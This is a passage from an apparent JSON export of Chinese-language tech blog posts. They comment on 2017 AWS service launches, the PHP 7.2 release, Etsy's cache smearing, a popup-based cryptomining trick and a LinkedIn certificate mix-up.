    "body": "<a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 直接租整台主機出來了：「<a href=\"https://aws.amazon.com/blogs/aws/new-amazon-ec2-bare-metal-instances-with-direct-access-to-hardware/\">Amazon EC2 Bare Metal Instances with Direct Access to Hardware</a>」。\r\n\r\nBare Metal 怎麼翻譯比較好啊？雖然知道是拔掉虛擬化的主機... 裸奔機？\r\n\r\n<blockquote>We knew that other customers also had interesting use cases for bare metal hardware and didn’t want to take the performance hit of nested virtualization. They wanted access to the physical resources for applications that take advantage of low-level hardware features such as performance counters and Intel® VT that are not always available or fully supported in virtualized environments, and also for applications intended to run directly on the hardware or licensed and supported for use in non-virtualized environments.</blockquote>\r\n\r\n反正這種機器就是要壓榨整台機器的效能，所以不會拿小台機器出來給大家玩。這次推出的是 <code>i3</code> 系列，叫做 <code>i3.metal</code>：\r\n\r\n<blockquote>Today we are launching a public preview the i3.metal instance, the first in a series of EC2 instances that offer the best of both worlds, allowing the operating system to run directly on the underlying hardware while still providing access to all of the benefits of the cloud. The instance gives you direct access to the processor and other hardware, and has the following specifications:\r\n\r\nProcessing – Two Intel Xeon E5-2686 v4 processors running at 2.3 GHz, with a total of 36 hyperthreaded cores (72 logical processors).\r\nMemory – 512 GiB.\r\nStorage – 15.2 terabytes of local, SSD-based NVMe storage.\r\nNetwork – 25 Gbps of ENA-based enhanced networking.</blockquote>\r\n\r\n走了十年總算走到這塊了... 不過應該花了不少時間解決各種安全性的問題，像是 network isolation 以及反刷韌體的問題 XD",
    "title": "Amazon EC2 推出第一款 Bare Metal 的 Instance"
  },
  {
    "id": "7845",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出 <a href=\"https://aws.amazon.com/guardduty/\">Amazon GuardDuty</a> 監控內部網路：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-guardduty-continuous-security-monitoring-threat-detection/\">Amazon GuardDuty – Continuous Security Monitoring &amp; Threat Detection</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/WkSeHPv.webp\" /><img src=\"https://i.gslin.com/imgur/WkSeHPv.jpg\" alt=\"\" /></picture>\r\n\r\n從示意圖可以看到結合了許多 log 資料，然後綜合判斷：\r\n\r\n<blockquote>In combination with information gleaned from your VPC Flow Logs, AWS CloudTrail Event Logs, and DNS logs, this allows GuardDuty to detect many different types of dangerous and mischievous behavior including probes for known vulnerabilities, port scans and probes, and access from unusual locations.</blockquote>\r\n\r\n所以連 <a href=\"https://en.wikipedia.org/wiki/Bitcoin\">Bitcoin</a> 相關網站也當作條件之一 XD\r\n\r\n開了相當多區 (相較於之前 AWS Elemental MediaOOXX 系列...)：\r\n\r\n<blockquote>Amazon GuardDuty is available in production form in the US East (Northern Virginia), US East (Ohio), US West (Oregon), US West (Northern California), EU (Ireland), EU (Frankfurt), EU (London), South America (São Paulo), Canada (Central), Asia Pacific (Tokyo), Asia Pacific (Seoul), Asia Pacific (Singapore), Asia Pacific (Sydney), and Asia Pacific (Mumbai) Regions and you can start using it today!</blockquote>",
    "title": "AWS 推出 Amazon GuardDuty 進行內部網路監控"
  },
  {
    "id": "7846",
    "body": "<a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 的新機種發表：「<a href=\"https://aws.amazon.com/blogs/aws/m5-the-next-generation-of-general-purpose-ec2-instances/\">M5 – The Next Generation of General-Purpose EC2 Instances</a>」、「<a href=\"https://aws.amazon.com/blogs/aws/new-h1-instances-fast-dense-storage-for-big-data-applications/\">H1 Instances – Fast, Dense Storage for Big Data Applications</a>」。\r\n\r\n<code>M5</code> 是 <code>M4</code> 的後續機種 (General Purpose)，所以就沒什麼特別好講的了... <code>H1</code> 則是與 <code>D2</code> 接近，而且也應該算是後繼的機種 (Dense Storage)，看了看內容感覺只是個升級 (雖然給他一個新的 family type)，所以也沒什麼好講...\r\n\r\n然後支援的地區都很少...\r\n\r\n<code>M5</code> 三區：\r\n\r\n<blockquote>You can launch M5 instances today in the US East (Northern Virginia), US West (Oregon), and EU (Ireland) Regions in On-Demand and Spot form (Reserved Instances are also available), with additional Regions in the works.</blockquote>\r\n\r\n<code>H1</code> 四區：\r\n\r\n<blockquote>H1 instances are available today in the US East (Northern Virginia), US West (Oregon), US East (Ohio), and EU (Ireland) Regions.</blockquote>\r\n\r\n產品發表會固定會有的升級 XD",
    "title": "Amazon EC2 再推出兩款新機種：M5 與 H1"
  },
  {
    "id": "7847",
    "body": "<a href=\"https://aws.amazon.com/lambda/\">AWS Lambda</a> 總算可以跟 <a href=\"https://aws.amazon.com/codedeploy/\">AWS CodeDeploy</a> 深度整合了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/11/aws-lambda-supports-traffic-shifting-and-phased-deployments-with-aws-codedeploy/\">AWS Lambda Supports Traffic Shifting and Phased Deployments with AWS CodeDeploy</a>」。\r\n\r\n像是兩個版本之間依照權重轉移：\r\n\r\n<blockquote>You can now shift incoming traffic between two AWS Lambda function versions based on pre-assigned weights.</blockquote>\r\n\r\n而把這個功能延伸就會是 Phased Deployments 了...",
    "title": "AWS CodeDeploy 支援在 AWS Lambda 上跑更多奇怪花樣"
  },
  {
    "id": "7849",
    "body": "以前在 <a href=\"https://aws.amazon.com/\">AWS</a> 環境裡都要自己架設兩台可以連外的 NTP server，然後將內部機器指到這兩台上，現在可以用現成的了：「<a href=\"https://aws.amazon.com/blogs/aws/keeping-time-with-amazon-time-sync-service/\">Keeping Time With Amazon Time Sync Service</a>」。\r\n\r\n服務放在 <code>169.254.169.123</code>：\r\n\r\n<blockquote>You can access the service via the link local 169.254.169.123 IP address. This means you don’t need to configure external internet access and the service can be securely accessed from within your private subnets.</blockquote>\r\n\r\n然後也有提到 leap second 的解法，用的解法是 leap smearing：\r\n\r\n<blockquote>Leap seconds are known to cause application errors and this can be a concern for many savvy developers and systems administrators. The 169.254.169.123 clock smooths out leap seconds some period of time (commonly called leap smearing) which makes it easy for your applications to deal with leap seconds.</blockquote>\r\n\r\n先前 AWS 也有 leap time，但不包括 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 這些系統 (EC2 裡的時間是獨立的)，不過還是可以看一下 AWS 處理 leap time 的方式，因為這次 NTP Service 就會拿去用了。\r\n\r\n最近一次 leap time 是 2016 年底的「<a href=\"https://aws.amazon.com/blogs/aws/look-before-you-leap-december-31-2016-leap-second-on-aws/\">Look Before You Leap – December 31, 2016 Leap Second on AWS</a>」，處理的方式跟 2015 年時的方法還是一樣：「<a href=\"https://aws.amazon.com/blogs/aws/look-before-you-leap-the-coming-leap-second-and-aws/\">Look Before You Leap – The Coming Leap Second and AWS (Updated)</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/cX0LM9S.webp\" /><img src=\"https://i.gslin.com/imgur/cX0LM9S.jpg\" alt=\"\" /></picture>\r\n\r\n類似於下圖左上角這張的變化：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/A8d5rAh.webp\" /><img src=\"https://i.gslin.com/imgur/A8d5rAh.jpg\" alt=\"\" /></picture>\r\n\r\n然後全區開放，都可以用了：\r\n\r\n<blockquote>This service is provided at no additional charge and is immediately available in all public AWS regions to all instances running in a VPC.</blockquote>",
    "title": "AWS 環境裡面提供 NTP Service 了 (Amazon Time Sync Service)"
  },
  {
    "id": "7850",
    "body": "<a href=\"https://aws.amazon.com/waf/\">AWS WAF</a> 推出了隨時更新的 Managed Rule：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/11/ready-to-use-managed-rules-now-available-on-aws-waf/\">Ready-to-Use Managed Rules Now Available on AWS WAF</a>」。\r\n\r\n這些 ruleset 是由 3rd-party 提供的：\r\n\r\n<blockquote>Choose from preconfigured RuleGroups provided in the AWS Marketplace by industry leading security experts: Alert Logic, Fortinet, Imperva, Trend Micro and TrustWave.</blockquote>\r\n\r\n然後隨時更新：\r\n\r\n<blockquote>Rules are automatically updated as new threats emerge and offer a wide range of protections, including OWASP Top 10 mitigations, bad-bot defenses, and virtual patching against recent CVE’s.</blockquote>\r\n\r\n然後是要收費的：\r\n\r\n<blockquote>Each RuleGroup is the product of a Seller’s unique expertise, made available to you at an affordable pay-as-you-go price.</blockquote>\r\n\r\n在 <a href=\"https://aws.amazon.com/marketplace\">AWS Marketplace</a> 的「<a href=\"https://aws.amazon.com/mp/security/WAFManagedRules/\">Managed Rules for AWS WAF - Web Application Firewall</a>」裡拿兩家來看看。\r\n\r\n<a href=\"https://www.trendmicro.tw/\">趨勢</a>的「<a href=\"https://aws.amazon.com/marketplace/pp/B0779NQYMZ\">Trend Micro Managed Rules for AWS WAF - WebServer (Apache, Nginx)</a>」與「<a href=\"https://aws.amazon.com/marketplace/pp/B0779N3B6Q\">Trend Micro Managed Rules for AWS WAF - Content Management System (CMS)</a>」都是：\r\n\r\n<blockquote>Charge per month in each available region (pro-rated by the hour) $5.00 / unit\r\nCharge per million requests in each available region $0.20 / unit</blockquote>\r\n\r\n而 <a href=\"https://www.imperva.com/\">Imperva</a> 則是提供不一樣的選擇，在「<a href=\"https://aws.amazon.com/marketplace/pp/B077GJ99B1\">Imperva - Managed Rules for Wordpress Protection on AWS WAF</a>」是：\r\n\r\n<blockquote>Charge per month in each available region (pro-rated by the hour) $30.00 / unit\r\nCharge per million requests in each available region $0.60 / unit</blockquote>\r\n\r\n而「<a href=\"https://aws.amazon.com/marketplace/pp/B07784QN39\">Imperva - Managed Rules for IP Reputation on AWS WAF</a>」則是：\r\n\r\n<blockquote>Charge per month in each available region (pro-rated by the hour) $40.00 / unit\r\nCharge per million requests in each available region $0.40 / unit</blockquote>",
    "title": "AWS WAF 提供隨時更新的 Managed Rules"
  },
  {
    "id": "7851",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 總算是開始支援跨區 VPC Peering 了... 這功能喊好久了啊：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/11/announcing-support-for-inter-region-vpc-peering/\">Announcing Support for Inter-Region VPC Peering</a>」。\r\n\r\n不過目前支援的地區只有這些：\r\n\r\n<blockquote>Inter-Region VPC Peering is available in AWS US East (N. Virginia), US East (Ohio), US West (Oregon) and EU (Ireland) with support for other regions coming soon.</blockquote>\r\n\r\n算是個開頭... 不然以前都要自己搞 High Availability 的 site-to-site IPsec tunnel。\r\n\r\n另外沒看到跨區時有沒有加密... (理論上應該要？)",
    "title": "AWS 總算推出跨區 VPC Peering 了..."
  },
  {
    "id": "7852",
    "body": "<a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 在 <code>t2</code> 系列的機器上推出 T2 Unlimited：「<a href=\"https://aws.amazon.com/blogs/aws/new-t2-unlimited-going-beyond-the-burst-with-high-performance/\">T2 Unlimited – Going Beyond the Burst with High Performance</a>」。\r\n\r\n這不是新的機種，而是現有的機器上可以超量使用 CPU credit，<a href=\"https://aws.amazon.com/\">AWS</a> 會另外收費。\r\n\r\n新開的機器與已經開的機器都可以打開：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/M4NCi2P.webp\" /><img src=\"https://i.gslin.com/imgur/M4NCi2P.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/cXyq2qA.webp\" /><img src=\"https://i.gslin.com/imgur/cXyq2qA.jpg\" alt=\"\" /></picture>\r\n\r\n以 <code>us-east-1</code> 來算，其實相當便宜，看不出什麼 penalty fee：<code>t2.micro</code> 的 CPU credit 是 10% baseline，每小時單價是 $0.0116，所以先有個 100% 數字是 $0.116 的概念 (如果所有東西都是十倍)。\r\n\r\n而 <code>us-east-1</code> 的 T2 Unlimited 是 $0.05 vCPU-hour，這樣看起來其實不賴？風險應該是在於不保證可以拿到多的 CPU resource...\r\n\r\n可能要重新算一下 <code>c4</code> 與 <code>c5</code> 的使用方式了...\r\n\r\n另外雖然文章後面寫了一大串，但對照 region 表後，看起來是所有的區域都支援了：(美國政府的 region 除外)\r\n\r\n<blockquote>You can launch T2 Unlimited instances today in the US East (Northern Virginia), US East (Ohio), US West (Northern California), US West (Oregon), Canada (Central), South America (São Paulo), Asia Pacific (Singapore), Asia Pacific (Sydney), Asia Pacific (Tokyo), Asia Pacific (Mumbai), Asia Pacific (Seoul), EU (Frankfurt), EU (Ireland), and EU (London) Regions today.</blockquote>",
    "title": "Amazon EC2 推出 T2 Unlimited，可以付費超量使用 CPU"
  },
  {
    "id": "7855",
    "body": "<a href=\"https://amazonlightsail.com/\">Amazon Lightsail</a> 推出了 Block Storage (11/14) 與 Load Balancer (11/29)：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/11/introducing-additional-block-storage-for-amazon-lightsail/\">Introducing additional block storage for Amazon Lightsail</a>」、「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/11/amazon-lightsail-adds-load-balancers-with-integrated-certificate-management/\">Amazon Lightsail adds load balancers with integrated certificate management</a>」。\r\n\r\n兩個是不同時間點發表的，當時懶的寫所以這次一起寫...\r\n\r\nBlock Storage 有不少 VPS 都有提供了，像是 <a href=\"https://www.linode.com/\">Linode</a> 的「<a href=\"https://forum.linode.com/viewtopic.php?t=15333\">Linode Block Storage (Fremont beta)</a>」(雖然還在 beta)、<a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 的「<a href=\"https://www.digitalocean.com/products/storage/\">Storage on DigitalOcean | Highly available Block Storage</a>」以及 <a href=\"https://www.vultr.com/\">Vultr</a> 的「<a href=\"https://www.vultr.com/pricing/blockstorage/\">High Performance and Cheap Block Storage - Vultr.com</a>」。\r\n\r\n<a href=\"https://aws.amazon.com/\">AWS</a> 算是很早就有這個服務 (<a href=\"https://aws.amazon.com/ebs/\">Amazon EBS</a>)，這邊應該只是把系統整合進來...\r\n\r\n另外一個是這幾天推出的 Load Balancer，目前應該只有 Linode 的「<a href=\"https://www.linode.com/nodebalancers\">Ensure High-Availability with NodeBalancers - Linode</a>」比較知名。AWS 上的 <a href=\"https://aws.amazon.com/elasticloadbalancing/\">ELB</a> 有不少選擇可以用 (ELB Classic、ALB 以及 NLB)，不過公告裡沒特別提到... 比較特別的是提供免費的 SSL Certificate 吧？這在其他家主要得靠 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 來做，在 AWS 上應該是整合了 <a href=\"https://aws.amazon.com/certificate-manager/\">ACM</a>？",
    "title": "Amazon Lightsail 推出 Block Storage 與 Load Balancer"
  },
  {
    "id": "7856",
    "body": "<a href=\"https://aws.amazon.com/dynamodb/\">Amazon DynamoDB</a> 實做了全球性的 replication，以及備份功能：「<a href=\"https://aws.amazon.com/blogs/aws/new-for-amazon-dynamodb-global-tables-and-on-demand-backup/\">Amazon DynamoDB Update – Global Tables and On-Demand Backup</a>」。\r\n\r\n跨區 replication 的功能讓每個 region 都可以存取當地機房的 DynamoDB：\r\n\r\n<blockquote>Global Tables – You can now create tables that are automatically replicated across two or more AWS Regions, with full support for multi-master writes, with a couple of clicks. This gives you the ability to build fast, massively scaled applications for a global user base without having to manage the replication process.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/QNVCwSY.webp\" /><img src=\"https://i.gslin.com/imgur/QNVCwSY.jpg\" alt=\"\" /></picture>\r\n\r\n這有點類似 <a href=\"https://www.google.com/\">Google</a> 的 <a href=\"https://cloud.google.com/spanner/\">Cloud Spanner</a> 在前陣子也推出全球性服務，但 DynamoDB 提供的比較偏向 NoSQL 而不是 RDBMS。\r\n\r\n另外一個限制是跨區同步是 async，會有 replication lag 的問題：\r\n\r\n<blockquote>Updates are propagated to other Regions asynchronously via DynamoDB Streams and are typically complete within one second (you can track this using the new ReplicationLatency and PendingReplicationCount metrics).</blockquote>\r\n\r\n不過如果是這樣的機制，conflict 的問題不知道怎麼解決... 文章裡面沒看到。\r\n\r\n然後目前支援的區域還是有限：\r\n\r\n<blockquote>Global Tables are available in the US East (Ohio), US East (N. Virginia), US West (Oregon), EU (Ireland), and EU (Frankfurt) Regions today, with more Regions in the works for 2018.</blockquote>\r\n\r\n另外一個是備份與還原機制，有這樣的功能對很多計畫方便不少：\r\n\r\n<blockquote>On-Demand Backup – You can now create full backups of your DynamoDB tables with a single click, and with zero impact on performance or availability. Your application remains online and runs at full speed. Backups are suitable for long-term retention and archival, and can help you to comply with regulatory requirements.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/g89MoUm.webp\" /><img src=\"https://i.gslin.com/imgur/g89MoUm.jpg\" alt=\"\" /></picture>\r\n\r\n而備份還原機制是陸陸續續開放的，區域也有限：\r\n\r\n<blockquote>We are rolling this new feature out on an account-by-account basis as quickly as possible, with initial availability in the US East (Northern Virginia), US East (Ohio), US West (Oregon), and EU (Ireland) Regions.</blockquote>",
    "title": "Amazon DynamoDB 跨區 Replication 以及備份"
  },
  {
    "id": "7857",
    "body": "即使把主頁面關掉後，會因為藏起來的 popup window 而繼續挖礦：「<a href=\"https://arstechnica.com/information-technology/2017/11/sneakier-more-persistent-drive-by-cryptomining-comes-to-a-browser-near-you/\">Websites use your CPU to mine cryptocurrency even when you close your browser</a>」，原文的 GIF 圖片就可以看出來怎麼做的了：\r\n\r\n<img src=\"https://i.gslin.com/imgur/7b1MGbh.gif\" alt=\"\" />\r\n\r\n我是因為用了 <a href=\"https://chrome.google.com/webstore/detail/one-window/papnlnnbddhckngcblfljaelgceffobn\">One Window</a> 可以避免有 pop window 產生 (都會被這個 extension 轉成 tab)，另外用像是 <a href=\"https://github.com/hoshsadiq/adblock-nocoin-list\">hoshsadiq/adblock-nocoin-list</a> 的 block ruleset 也不錯...",
    "title": "利用 pop 視窗藏起來的挖礦腳本"
  },
  {
    "id": "7858",
    "body": "<a href=\"https://aws.amazon.com/rds/aurora/\">Amazon Aurora</a> 推出了兩包玩意，第一包是 Serverless，讓需要人介入的情況更少：「<a href=\"https://aws.amazon.com/blogs/aws/in-the-works-amazon-aurora-serverless/\">In The Works – Amazon Aurora Serverless</a>」。\r\n\r\n在 Serverless 的第一個重點是支援以秒計費：\r\n\r\n<blockquote>Today we are launching a preview (sign up now) of Amazon Aurora Serverless. Designed for workloads that are highly variable and subject to rapid change, this new configuration allows you to pay for the database resources you use, on a second-by-second basis.</blockquote>\r\n\r\n然後是極為快速的 auto-scaling：\r\n\r\n<blockquote>The endpoint is a simple proxy that routes your queries to a rapidly scaled fleet of database resources. This allows your connections to remain intact even as scaling operations take place behind the scenes. Scaling is rapid, with new resources coming online within 5 seconds</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/uO4nHdB.webp\" /><img src=\"https://i.gslin.com/imgur/uO4nHdB.jpg\" alt=\"\" /></picture>\r\n\r\n這兩個組合起來，讓使用端可以除了在 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 上可以快速 scale 外，後端的資料庫也能 scale 了...\r\n\r\n第二個是 Multi-master 架構：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/11/sign-up-for-the-preview-of-amazon-aurora-multi-master/\">Sign Up for the Preview of Amazon Aurora Multi-Master</a>」。\r\n\r\n<blockquote>Amazon Aurora Multi-Master allows you to create multiple read/write master instances across multiple Availability Zones. This enables applications to read and write data to multiple database instances in a cluster, just as you can read across Read Replicas today.</blockquote>\r\n\r\n(話說我一直都誤以為 Aurora 是 R/W master...)\r\n\r\nAnyway，這個功能不知道怎麼疊上去的... 不笑得會不會有嚴重的 distributed lock issue，反而推薦大家平常都寫到同一台 (像是 <a href=\"https://www.percona.com/software/mysql-database/percona-xtradb-cluster\">PXC</a> 就會這樣)。",
    "title": "Amazon Aurora 的 Serverless 與 Multi-master"
  },
  {
    "id": "7859",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到會場的照片，<a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 單一 region 就有 37 Tb/sec 的量：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">um, a baking powder?<br><br>37 Tb/s is part of S3 traffic in a single region?!?!?<a href=\"https://twitter.com/hashtag/reinvent?src=hash&amp;ref_src=twsrc%5Etfw\">#reinvent</a> <a href=\"https://t.co/rWpnBE20HU\">pic.twitter.com/rWpnBE20HU</a></p>&mdash; Mark Nunnikhoven (@marknca) <a href=\"https://twitter.com/marknca/status/935739803366297601?ref_src=twsrc%5Etfw\">November 29, 2017</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n在這種量下面對 DDoS 沒什麼感覺 XDDD\r\n\r\n另外是 Amazon S3 與 <a href=\"https://aws.amazon.com/glacier/\">Amazon Glacier</a> 都推出了 Select 功能：「<a href=\"https://aws.amazon.com/blogs/aws/s3-glacier-select/\">S3 Select and Glacier Select – Retrieving Subsets of Objects</a>」。\r\n\r\n看示範的程式碼就可以看出用途了，原文中間那段有 sytax error，我這邊就幫忙修掉了：\r\n\r\n<pre>handler = PrintingResponseHandler()\r\ns3 = boto3.client('s3')\r\nresponse = s3.select_object_content(\r\n    Bucket=\"super-secret-reinvent-stuff\",\r\n    Key=\"stuff.csv\",\r\n    SelectRequest={\r\n        'ExpressionType': 'SQL',\r\n        'Expression': 'SELECT s._1 FROM S3Object AS s',\r\n        'InputSerialization': {\r\n            'CompressionType': 'NONE',\r\n            'CSV': {\r\n                'FileHeaderInfo': 'IGNORE',\r\n                'RecordDelimiter': 'n',\r\n                'FieldDelimiter': ',',\r\n            }\r\n        },\r\n        'OutputSerialization': {\r\n            'CSV': {\r\n                'RecordDelimiter': 'n',\r\n                'FieldDelimiter': ',',\r\n            }\r\n        }\r\n    }\r\n)</pre>\r\n\r\n這樣可以大幅降低 I/O，節省成本：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/hKg6ghQ.webp\" /><img src=\"https://i.gslin.com/imgur/hKg6ghQ.jpg\" alt=\"\" /></picture>\r\n\r\nGlacier Select 也是類似的想法，不需要整包拉出來再處理，可以在一開始就設定條件。",
    "title": "Amazon S3 的流量，以及 S3 與 Glacier 都推出 Select 功能"
  },
  {
    "id": "7861",
    "body": "<a href=\"https://secure.php.net/\">PHP</a> 7.2.0 釋出：「<a href=\"https://secure.php.net/archive/2017.php#id2017-11-30-1\">PHP 7.2.0 Released</a>」。\r\n\r\n不相容的改變可以參考「<a href=\"https://secure.php.net/manual/en/migration72.incompatible.php\">Backward incompatible changes</a>」，看起來不算多... 另外有預定要拔掉或是不相容修改的「<a href=\"https://secure.php.net/manual/en/migration72.deprecated.php\">Deprecated features in PHP 7.2.x</a>」也可以看一看。\r\n\r\n到 EoL (完全沒支援) 期限的順序分別是 PHP 7.0 (2018/12/3)，PHP 5.6 (2018/12/31)，PHP 7.1 (2019/12/1)，PHP 7.2 (2020/10/30)。",
    "title": "PHP 7.2.0 釋出"
  },
  {
    "id": "7863",
    "body": "<a href=\"https://aws.amazon.com/api-gateway/\">Amazon API Gateway</a> 支援 <a href=\"https://martinfowler.com/bliki/CanaryRelease.html\">Canary Release</a> 了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/11/amazon-api-gateway-supports-canary-release-deployments/\">Amazon API Gateway Supports Canary Release Deployments</a>」。\r\n\r\nCanary Release 重點在於逐步轉移，而不是直接硬切，大致上可以分成三個階段。\r\n\r\n首先是一開始的情況：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/3Kney3I.webp\" /><img src=\"https://i.gslin.com/imgur/3Kney3I.jpg\" alt=\"\" /></picture>\r\n\r\n切到一半的情境：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/DiLxias.webp\" /><img src=\"https://i.gslin.com/imgur/DiLxias.jpg\" alt=\"\" /></picture>\r\n\r\n最後完全使用新版本：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/nxKh55n.webp\" /><img src=\"https://i.gslin.com/imgur/nxKh55n.jpg\" alt=\"\" /></picture>\r\n\r\n這個方法可以避免新的 code 有效能問題，造成後端壓力過大... 不過這樣就要確定新舊版本的程式碼可以同時跑 (像是後端資料庫的 schema 必須相容這兩個版本)。\r\n\r\n前幾天提到的「<a href=\"https://blog.gslin.org/archives/2017/11/29/7847/aws-codedeploy-%E6%94%AF%E6%8F%B4%E5%9C%A8-aws-lambda-%E4%B8%8A%E8%B7%91%E6%9B%B4%E5%A4%9A%E5%A5%87%E6%80%AA%E8%8A%B1%E6%A8%A3/\">AWS CodeDeploy 支援在 AWS Lambda 上跑更多奇怪花樣</a>」算是相關的功能，讓 <a href=\"https://aws.amazon.com/codedeploy/\">AWS CodeDeploy</a> 參與其中做出各種變化。",
    "title": "Amazon API Gateway 支援 Canary Release 了"
  },
  {
    "id": "7864",
    "body": "在 <a href=\"https://www.etsy.com/\">Etsy</a> 的 engineering blog 上提到了他們怎麼設計 cache 機制：「<a href=\"https://codeascraft.com/2017/11/30/how-etsy-caches/\">How Etsy caches: hashing, Ketama, and cache smearing</a>」。\r\n\r\n使用 consistent hash 已經是基本款了，文章裡花了一些篇幅介紹為什麼要用 consistent hash。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/38YVdLe.webp\" /><img src=\"https://i.gslin.com/imgur/38YVdLe.jpg\" alt=\"\" /></picture>\r\n\r\n後半段則是有了 consistent hash 後會遇到的問題，也就是講 hot key 怎麼處理：有些資料非常熱 (常常被存取)，就算用 consistent hash 也還是有可能搞爆單一機器。\r\n\r\n他們做了幾件事情，第一件事情是設計 cache smearing 機制，把單一資料加上 random key，使得不同的 key 會打散到不同的機器上：\r\n\r\n<blockquote>Let’s take an example of a hot key <code>popular_user_data</code>. This key is read often (since the user is popular) and is hashed to pool member 3. Cache smearing appends a random number in a small range (say, [0, 8)) to the key before each read or write. For instance, successive reads might look up <code>popular_user_data3</code>, <code>popular_user_data1</code>, and <code>popular_user_data6</code>. Because the keys are different, they will be hashed to different hosts. One or more may still be on pool member 3, but not all of them will be, sharing the load among the pool.</blockquote>\r\n\r\n第二件事情則是監控哪些 key 比較熱門：\r\n\r\n<blockquote>We’ve seen this problem many times over the years, using mctop, memkeys, and our distributed tracing tools to track down hot keys.</blockquote>\r\n\r\n第三件事情是維護 hot key 的清單 (不是每個 key 都會上 cache smearing)：\r\n\r\n<blockquote>We manually add cache smearing to only our hottest keys, leaving keys that are less read-heavy efficiently stored on a single host.</blockquote>\r\n\r\n是個當規模大到單一 hot key 會讓單台伺服器撐不住時的 workaround...",
    "title": "Etsy 介紹的 Cache Smearing"
  },
  {
    "id": "7865",
    "body": "有一些 <a href=\"https://en.wikipedia.org/wiki/Microsoft_Windows\">Windows</a> 上的東西就可以直接開起來跑了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/11/announcing-new-aws-deep-learning-ami-for-microsoft-windows/\">Announcing New AWS Deep Learning AMI for Microsoft Windows</a>」。\r\n\r\n目前支援 2012 R2 與 2016：\r\n\r\n<blockquote>Amazon Web Services now offers an AWS Deep Learning AMI  for Microsoft Windows Server 2012 R2 and 2016.</blockquote>\r\n\r\n然後 driver 與常用的東西都包進去了：\r\n\r\n<blockquote>The AMIs also include popular deep learning frameworks such as Apache MXNet, Caffe and Tensorflow, as well as packages that enable easy integration with AWS, including launch configuration tools and many popular AWS libraries and tools. The AMIs come prepackaged with Nvidia CUDA 9, cuDNN 7, and Nvidia 385.54 drivers, and contain the Anaconda platform (supports Python versions 2.7 and 3.5).</blockquote>",
    "title": "AWS 提供 Windows 上的 Deep Learning AMI"
  },
  {
    "id": "7866",
    "body": "<a href=\"https://news.netcraft.com/\">Netcraft</a> 上看到 <a href=\"https://www.linkedin.com/\">LinkedIn</a> 出包的消息，這次是 country-mixed 的版本出包：「<a href=\"https://news.netcraft.com/archives/2017/11/30/linkedin-certificate-blunder-leaves-users-lockedout.html\">LinkedIn certificate blunder leaves users LockedOut!</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/wF09xgP.webp\" /><img src=\"https://i.gslin.com/imgur/wF09xgP.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/rNKwgLj.webp\" /><img src=\"https://i.gslin.com/imgur/rNKwgLj.jpg\" alt=\"\" /></picture>\r\n\r\n在 DNS 上也可以看出來這兩個 <code>CNAME</code> 到不一樣的 load balancer 上：\r\n\r\n<pre><small><small>;; ANSWER SECTION:\r\nwww.linkedin.com.       260     IN      CNAME   2-01-2c3e-003c.cdx.cedexis.net.\r\n2-01-2c3e-003c.cdx.cedexis.net. 93 IN   CNAME   pop-ehk1.www.linkedin.com.\r\npop-ehk1.www.linkedin.com. 3560 IN      A       144.2.3.1</small></small></pre>\r\n\r\n<pre><small><small>;; ANSWER SECTION:\r\nde.linkedin.com.        86400   IN      CNAME   cctld.linkedin.com.\r\ncctld.linkedin.com.     86400   IN      CNAME   mix.linkedin.com.\r\nmix.linkedin.com.       213     IN      CNAME   pop-ehk1.mix.linkedin.com.\r\npop-ehk1.mix.linkedin.com. 3546 IN      A       144.2.3.5</small></small></pre>\r\n\r\n而 <a href=\"https://www.ssllabs.com/\">SSL Labs</a> 上也看得出來在 Alternative names 的地方是不一樣的：「<a href=\"https://www.ssllabs.com/ssltest/analyze.html?d=www.linkedin.com&amp;s=108.174.10.10&amp;hideResults=on\">SSL Server Test: www&#46;linkedin&#46;com (Powered by Qualys SSL Labs)</a>」、「<a href=\"https://www.ssllabs.com/ssltest/analyze.html?d=de.linkedin.com&amp;s=108.174.10.14&amp;latest\">SSL Server Test: de&#46;linkedin&#46;com 